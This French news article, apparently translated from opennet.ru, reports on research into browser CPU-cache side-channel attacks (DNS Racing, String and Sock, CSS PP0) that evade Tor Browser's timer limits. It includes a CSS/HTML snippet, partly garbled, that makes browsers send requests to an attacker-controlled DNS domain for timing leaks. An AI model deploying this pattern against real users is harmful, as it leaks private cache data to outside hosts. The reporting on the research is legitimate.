Un groupe de chercheurs de plusieurs universités américaines, israéliennes et australiennes a développé trois attaques fonctionnant dans des navigateurs web pour extraire des informations sur le contenu du cache processeur. Une méthode fonctionne dans les navigateurs sans JavaScript, tandis que les deux autres contournent les méthodes de protection existantes contre les attaques par canaux auxiliaires, y compris celles utilisées dans Tor browser et DeterFox. Le code pour démontrer les attaques, ainsi que les composants serveur nécessaires, est publié sur GitHub.
Pour analyser le contenu du cache dans toutes les attaques, la méthode Prime+Probe est utilisée, impliquant le remplissage du cache avec un ensemble de valeurs de référence et la détermination des changements par la mesure du temps d'accès lors du remplissage ultérieur. Pour contourner les mécanismes de protection présents dans les navigateurs qui gênent la mesure précise du temps, deux variantes accèdent à un serveur DNS ou WebSocket contrôlé par l'attaquant, où un journal du temps d'arrivée des requêtes est tenu. Dans une des variantes, un temps de réponse DNS fixe est utilisé comme référence temporelle.
Les mesures effectuées avec l'implication de serveurs DNS ou WebSocket externes, grâce à un système de classification basé sur l'apprentissage automatique, se sont avérées suffisantes pour prédire les valeurs avec une précision allant jusqu'à 98 % dans le scénario le plus optimal (en moyenne 80-90 %). Les méthodes d'attaque ont été testées sur diverses plateformes matérielles (Intel, AMD Ryzen, Apple M1, Samsung Exynos) et se sont révélées universelles.
Dans la première variante de l'attaque « DNS Racing », une mise en œuvre classique de la méthode Prime+Probe utilisant des tableaux JavaScript est employée. Les différences portent sur l'utilisation d'un minuteur externe basé sur DNS et d'un gestionnaire onerror, qui se déclenche lors de la tentative de chargement d'une image à partir d'un domaine inexistant. Le minuteur externe permet d'exécuter l'attaque Prime+Probe dans les navigateurs qui limitent ou désactivent complètement l'accès aux minuteurs JavaScript.
Pour un serveur DNS situé dans le même réseau Ethernet, la précision du chronomètre est estimée à environ 2 ms, ce qui est suffisant pour mener une attaque par des canaux externes (en comparaison, la précision du chronomètre JavaScript standard dans Tor Browser est réduite à 100 ms). Pour l'attaque, aucun contrôle sur le serveur DNS n'est requis, car le temps d'exécution de l'opération est ajusté de manière à ce que le temps de réponse du DNS serve d'indicateur d'une fin plus précoce de la vérification (en fonction de l'activation précoce ou tardive du gestionnaire onerror, une conclusion est tirée sur la vitesse d'exécution de l'opération de vérification avec le cache).
La deuxième méthode d'attaque, « String and Sock », vise à contourner les méthodes de protection limitant l'utilisation de tableaux à bas niveau dans JavaScript. Au lieu de tableaux, « String and Sock » utilise des opérations sur de très grandes chaînes de caractères, dont la taille est choisie de manière à ce que la variable couvre tout le cache LLC (Last Level Cache). Puis, grâce à la fonction indexOf(), une petite sous-chaîne est recherchée dans la chaîne, sous-chaîne qui est initialement absente de la chaîne d'origine, c'est-à-dire que l'opération de recherche entraîne l'itération sur l'ensemble de la chaîne. Étant donné que la taille de la chaîne correspond à celle du cache LLC, le scan permet de vérifier le cache sans manipuler de tableaux. Pour mesurer les délais, au lieu du DNS, une requête est adressée à un serveur WebSocket contrôlé par l'attaquant - des requêtes sont envoyées avant le début et après la fin de l'opération de recherche dans la chaîne, sur la base desquelles le serveur le délai est calculé, utilisé pour analyser le contenu du cache.
La troisième variante de l'attaque « CSS PP0 » est réalisée via HTML et CSS, et peut fonctionner dans les navigateurs avec JavaScript désactivé. La méthode ressemble à « String and Sock », mais n'est pas liée à JavaScript. Au cours de l'attaque, un ensemble de sélecteurs CSS est créé pour effectuer une recherche par motif. La grande chaîne initiale, qui remplit le cache, est définie par la création d'une balise div avec un nom de classe très long. À l'intérieur, un ensemble d'autres divs avec leurs identifiants respectifs est placé. Pour chacun de ces divs imbriqués, un style est défini avec un sélecteur qui effectue la recherche du sous-texte. Lors du rendu de la page, le navigateur essaie d'abord de traiter les divs internes, ce qui entraîne l'exécution de l'opération de recherche dans la grande chaîne. La recherche est effectuée sur un motif manifestement absent, ce qui entraîne un parcours de toute la chaîne, après quoi la condition « not » est déclenchée et une tentative de chargement d'une image de fond, faisant référence à des valeurs aléatoires, est effectuée. domaines: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>
Les sous-domaines sont gérés sur le serveur DNS de l'attaquant, qui peut mesurer les latences de réception des requêtes. Pour toutes les requêtes, le serveur DNS renvoie NXDOMAIN et tient un journal des horaires précis des demandes. En conséquence du traitement d'un ensemble de divs, une série de requêtes arrive au serveur DNS de l'attaquant, les latences entre lesquelles sont corrélées avec le résultat de la vérification du contenu du cache.
Source : opennet.ru
